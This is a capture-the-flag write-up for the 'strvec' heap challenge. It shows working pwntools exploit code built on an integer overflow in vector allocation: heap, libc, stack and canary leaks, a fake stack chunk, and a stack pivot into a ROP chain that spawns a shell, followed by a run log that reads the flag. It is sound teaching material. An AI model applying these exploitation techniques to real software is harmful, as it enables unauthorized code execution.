StrVec

Description

How to implement secure array in C? Is it easy, right?

nc 168.119.108.148 12010

Attachment: strvec.tar.gz xpl.py

Team: Super Guesser

strvec implemented a vector (array), which can store and return entries. On start, it will ask for a name (which will be put on the stack), and for the size of the array to use.

I joined a bit late and n0psledbyte was working on it and pointed out, that passing a size of 0x20000000 will lead to an integer overflow in

vector *vector_new(int nmemb) {
    if (nmemb <= 0)
        return NULL;

    int size = sizeof(vector) + sizeof(void*) * nmemb;  // integer overflow
    vector *vec = (vector*)malloc(size);

    if (!vec)
        return NULL;

    memset(vec, 0, size);
    vec->size = nmemb;

since size is defined as an int, the multiplication will overflow size and create a smaller chunk than expected. But the specified size nmem will be sotred in vec->size.

Definitely something to work with. With this we can create a vector chunk and access data behind that chunk on the heap.

So, let’s create a corrupted vector and one entry

def exploit(r):
    # put fake chunk size into name
    payload = p64(0) +  p64(0x31)[:6]

    # integer overflow (create chunk with huge size able to overflow)
    r.sendlineafter(": ", payload)
    r.sendlineafter("n = ", str(0x20000020+(0x690/8)))
    r.recvuntil("> ")

    # create one entry
    set(0, "\x00")
0x555555559290:	0x0000000000000000	0x00000000000007a1 <= size 0x7a0
0x5555555592a0:	0x00000000200000f2	0x0000555555559a40 <= vector / entry 0 ptr
0x5555555592b0:	0x0000000000000000	0x0000000000000000
0x5555555592c0:	0x0000000000000000	0x0000000000000000
0x5555555592d0:	0x0000000000000000	0x0000000000000000
0x5555555592e0:	0x0000000000000000	0x0000000000000000
...
0x555555559a10:	0x0000000000000000	0x0000000000000000
0x555555559a20:	0x0000000000000000	0x0000000000000000
0x555555559a30:	0x0000000000000000	0x0000000000000031 <= entry 0
0x555555559a40:	0x0000000000000000	0x0000000000000000
0x555555559a50:	0x0000000000000000	0x0000000000000000
0x555555559a60:	0x0000000000000000	0x00000000000205a1

The vector chunk is only created with a size of 0x7a0 but vec->size shows, that we can use indices up to 0x00000000200000f2, so we can now also create and read entries outside of this vector.

To get a heap leak, we’ll create another entry and choose the index so, that the entry pointer will be put into our first chunk.

# create another entry inside of the chunk of entry 0
set((0x555555559a40 - 0x5555555592a8)/8, "A")

# can leak heap address now via entry 0
HEAPLEAK = u64(get(0).ljust(8, "\x00"))

log.info("HEAP       : %s" % hex(HEAPLEAK))

The next entry will be allocated after the first entry and the pointer to it will be stored inside the first entry, so we can just read it from there.

0x555555559290:	0x0000000000000000	0x00000000000007a1
0x5555555592a0:	0x00000000200000f2	0x0000555555559a40  <= vector / entry 0 ptr
0x5555555592b0:	0x0000000000000000	0x0000000000000000
0x5555555592c0:	0x0000000000000000	0x0000000000000000
0x555555559a10:	0x0000000000000000	0x0000000000000000
0x555555559a20:	0x0000000000000000	0x0000000000000000
0x555555559a30:	0x0000000000000000	0x0000000000000031
0x555555559a40:	0x0000555555559a70	0x0000000000000000  <= next entry ptr
0x555555559a50:	0x0000000000000000	0x0000000000000000
0x555555559a60:	0x0000000000000000	0x0000000000000031
0x555555559a70:	0x0000000000000041	0x0000000000000000  <= next entry
0x555555559a80:	0x0000000000000000	0x0000000000000000
0x555555559a90:	0x0000000000000000	0x0000000000020571

[*] HEAP       : 0x555555559a70

Next, we need a libc leak, and we already got a chunk on the heap, which won’t fit into tcache…

The vector itself… So, we can just create a new entry, in which we store a pointer to the vector and then free it via the oob index access.

# write address of vector to heap
set(1, p64(HEAPLEAK - 0x7d0))  # 0x5555555592a0

# free vector itself
set((0x555555559aa0-0x5555555592a8)/8, "B")
0x555555559290:	0x0000000000000000	0x00000000000007a1
0x5555555592a0:	0x00000000200000f2	0x0000555555559a40
0x5555555592b0:	0x0000555555559aa0	0x0000000000000000
0x5555555592c0:	0x0000000000000000	0x0000000000000000
...
0x555555559a20:	0x0000000000000000	0x0000000000000000
0x555555559a30:	0x0000000000000000	0x0000000000000031
0x555555559a40:	0x0000555555559a70	0x0000000000000000
0x555555559a50:	0x0000000000000000	0x0000000000000000
0x555555559a60:	0x0000000000000000	0x0000000000000031
0x555555559a70:	0x0000000000000041	0x0000000000000000
0x555555559a80:	0x0000000000000000	0x0000000000000000
0x555555559a90:	0x0000000000000000	0x0000000000000031
0x555555559aa0:	0x00005555555592a0	0x0000000000000000
0x555555559ab0:	0x0000000000000000	0x0000000000000000
0x555555559ac0:	0x0000000000000000	0x0000000000020541

After freeing the vector:

0x555555559290:	0x0000000000000000	0x00000000000007a1
0x5555555592a0:	0x00007ffff7fc2be0	0x00007ffff7fc2be0  <= main_arena ptr
0x5555555592b0:	0x0000000000000000	0x0000000000000000
0x5555555592c0:	0x0000000000000000	0x0000000000000000
0x5555555592d0:	0x0000000000000000	0x0000000000000000
0x5555555592e0:	0x0000000000000000	0x0000000000000000
0x5555555592f0:	0x0000000000000000	0x0000000000000000

Now, we can create a new entry, which will be put into the just freed vector chunk (overwriting vector->size), and moving the libc addresses further down the heap, so we can access them again via a valid index

# allocate new entry inside of vector (will push libc address further)
payload = p64(0x20000200)       # new size
payload += p64(0x0)

set(0, payload)
0x555555559290:	0x0000000000000000	0x0000000000000031
0x5555555592a0:	0x0000000020000200	0x00005555555592a0  <= vector
0x5555555592b0:	0x0000555555559200	0x0000555555559290
0x5555555592c0:	0x0000000000000000	0x0000000000000771
0x5555555592d0:	0x00007ffff7fc2be0	0x00007ffff7fc2be0  <= bin
0x5555555592e0:	0x0000000000000000	0x0000000000000000
0x5555555592f0:	0x0000000000000000	0x0000000000000000
0x555555559300:	0x0000000000000000	0x0000000000000000
0x555555559310:	0x0000000000000000	0x0000000000000000

Similar to the heap leak, we can now write a pointer to 0x5555555592d0 on the heap and read it via oob access.

We just have to take into consideration, that this will create a new chunk (0x31) in the current freed bin, so the address we want to leak will then be at 0x555555559300.

# create a note entry pointing to libc address
set(20, p64(HEAPLEAK - 0x770))    

LIBCLEAK=u64(get(5).ljust(8, "\x00"))
libc.address=LIBCLEAK - 96 - 0x10 - libc.symbols["__malloc_hook"]

log.info("LIBC leak  : %s" % hex(LIBCLEAK))
log.info("LIBC       : %s" % hex(libc.address))
0x555555559290:	0x0000000000000000	0x0000000000000031
0x5555555592a0:	0x0000000020000200	0x00005555555592a0  <= vector
0x5555555592b0:	0x0000555555559200	0x0000555555559290
0x5555555592c0:	0x0000000000000000	0x0000000000000031
0x5555555592d0:	0x0000555555559300	0x00007ffff7fc2b00  <= entry pointing to freed bin
0x5555555592e0:	0x0000000000000000	0x0000000000000000
0x5555555592f0:	0x0000000000000000	0x0000000000000741
0x555555559300:	0x00007ffff7fc2be0	0x00007ffff7fc2be0  <= main_arena ptr
0x555555559310:	0x0000000000000000	0x0000000000000000
0x555555559320:	0x0000000000000000	0x0000000000000000
0x555555559330:	0x0000000000000000	0x0000000000000000
0x555555559340:	0x0000000000000000	0x00005555555592d0
0x555555559350:	0x0000000000000000	0x0000000000000000

[*] LIBC leak  : 0x7ffff7fc2be0
[*] LIBC       : 0x7ffff7dd7000

Since we were asked to create a name on the stack in the beginning, I was quite sure, that we were meant to create a fake chunk on the stack and use that to get rip control.

At the beginning, I had put a 0x31 fake chunk size in name for preparing this. But to be able to free a chunk on the stack, we first need a stack address. Well, since we now have heap and libc leak, we can use the same to read environ from libc.

# create a note entry pointing to environ
set(30, p64(libc.symbols["environ"]))

STACK=u64(get((0x555555559300-0x5555555592a8)/8).ljust(8, "\x00"))

log.info("STACK      : %s" % hex(STACK))

Though we cannot directly use this to create a chunk on the stack, since the binary is using a canary. But, same as before, we can just leak it (just have to “misalign” it by 1 byte, since the LSB of the canary will always be 0x0).

# create a note entry pointing to fake chunk below name
set(31, p64(STACK - 0x118))  

# create a note entry pointing to canary+1
set(32, p64(STACK - 0x10f))  

# leak canary
CANARY=u64(("\x00"+get((0x555555559360-0x5555555592a8)/8)).ljust(8, "\x00"))

log.info("CANARY     : %s" % hex(CANARY))

I have already put the address to our “fake chunk” on the stack on the heap, so now we can just free it.

# free "stack" note
set((0x555555559330-0x5555555592a8)/8, "A")

Memory before freeing the stack note

0x555555559290:	0x0000000000000000	0x0000000000000031
0x5555555592a0:	0x0000000020000200	0x00005555555592a0
0x5555555592b0:	0x0000555555559200	0x0000555555559290
0x5555555592c0:	0x0000000000000000	0x0000000000000031
0x5555555592d0:	0x0000555555559300	0x00007ffff7fc2b00
0x5555555592e0:	0x0000000000000000	0x0000000000000000
0x5555555592f0:	0x0000000000000000	0x0000000000000031
0x555555559300:	0x00007ffff7fc62e0	0x00007ffff7fc2b00
0x555555559310:	0x0000000000000000	0x0000000000000000
0x555555559320:	0x0000000000000000	0x0000000000000031
0x555555559330:	0x00007fffffffed40	0x00007ffff7fc2b00  <= ptr to fake chunk
0x555555559340:	0x0000000000000000	0x0000000000000000
0x555555559350:	0x0000000000000000	0x0000000000000031
0x555555559360:	0x00007fffffffed49	0x00007ffff7fc2b00  <= ptr for canary leak
0x555555559370:	0x0000000000000000	0x0000000000000000
0x555555559380:	0x0000000000000000	0x00000000000006b1

gef➤  x/30gx 0x00007fffffffed40-0x10
0x7fffffffed30:	0x0000000000000000	0x0000000000000031  <= fake size (name)
0x7fffffffed40:	0x00007fffffffee40	0x3ea97d39562b1e00  <= fake chunk
0x7fffffffed50:	0x0000000000000000	0x00007ffff7dfe0b3
0x7fffffffed60:	0x00007ffff7ffc620	0x00007fffffffee48
0x7fffffffed70:	0x0000000100000000	0x00005555555554af

and after

gef➤  x/30gx 0x00007fffffffed40-0x10
0x7fffffffed30:	0x0000000000000000	0x0000000000000031
0x7fffffffed40:	0x0000000000000000	0x0000555555559010  <= freed fake chunk
0x7fffffffed50:	0x0000000000000000	0x00007ffff7dfe0b3
0x7fffffffed60:	0x00007ffff7ffc620	0x00007fffffffee48
0x7fffffffed70:	0x0000000100000000	0x00005555555554af

tcache

0x555555559000:	0x0000000000000000	0x0000000000000291
0x555555559010:	0x0000000000010000	0x0000000000000000
0x555555559020:	0x0000000000000000	0x0000000000000000
0x555555559030:	0x0000000000000000	0x0000000000000000
0x555555559040:	0x0000000000000000	0x0000000000000000
0x555555559050:	0x0000000000000000	0x0000000000000000
0x555555559060:	0x0000000000000000	0x0000000000000000
0x555555559070:	0x0000000000000000	0x0000000000000000
0x555555559080:	0x0000000000000000	0x0000000000000000
0x555555559090:	0x0000000000000000	0x00007fffffffed40  <= pointer to stack chunk
0x5555555590a0:	0x0000000000000000	0x0000000000000000

With all the leaks at hand, we can now allocate the stack chunk, overwrite canary, rbp and return address of main, but since our chunks can only be 0x20 big, we cannot do a real ropchain here (can only put one gadget there).

But well, we can put a heap address into rbp and overwrite the return address just with leave, which will pivot the stack into the heap, where we can have a prepared (slightly bigger) ropchain :)

LEAVE=libc.address + 0x000000000005aa48
POPRDI=libc.address + 0x0000000000026b72

# put heap pivot payload into ret
payload="A"*8
payload += p64(CANARY)
payload += p64(HEAPLEAK + 0xcc0-8)
payload += p64(LEAVE)[:6]

# will be allocated on stack overwriting ret
set(32, payload)

# put ropchain on heap (system("/bin/sh"))
payload=p64(POPRDI)
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbols["system"])

set(100, payload)

Exiting the challenge now will crash though, since system will add a bigger stack frame and rsp will access unmapped memory outside of heap. So, let’s just allocate “some” more notes to get our ropchain a little bit further down the heap.

# fill up the heap to enlarge available stack
for i in range(100):
    set(800+i, payload)

With this, we’ll have enough space above our ropchain, so this should no longer be a problem.

Only one thing missing…

Exiting the challenge will try to cleanup the vector (by calling vector_delete, which will iterate through the array and try to free every entry)… which will most likely fail completely and crash…

So, you could either try to cleanup your vector manually, so all the frees will succeed or you take the easy way out :)

Just reallocate our initial entry pointing to vector again. This will effectively set vector->size to 0x0, thus vector_delete will not try to delete any entry chunk anymore and happily continue execution.

# reallocate note chunk pointing to vector (will overwrite vector size with 0)
# this way, no frees will happen on exit, no need to cleanup
set(0, "AAAABBBB")

Now we can just exit the application, which will trigger our initial ropchain, which will pivot into the ropchain on the heap and execute system("/bin/sh").

$ python xpl.py 1
[*] '/media/sf_ctf/asis21/strvec/strvec/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 168.119.108.148 on port 12010: Done
[*] HEAP       : 0x5646fadf5a70
[*] LIBC leak  : 0x7fb381193be0
[*] LIBC       : 0x7fb380fa8000
[*] STACK      : 0x7ffea25c5a98
[*] CANARY     : 0x4cd6345db8e92600
[*] Switching to interactive mode
0
1. get
2. set
> Bye, !
$ ls
chall
flag-970df57dcd98b545bb0b620bc4b6cab0.txt
$ cat flag-970df57dcd98b545bb0b620bc4b6cab0.txt
ASIS{n0_1d34_4_g00d_fl4g_t3xt_59723644e687a5c5e2fe80eae0b4f4b8}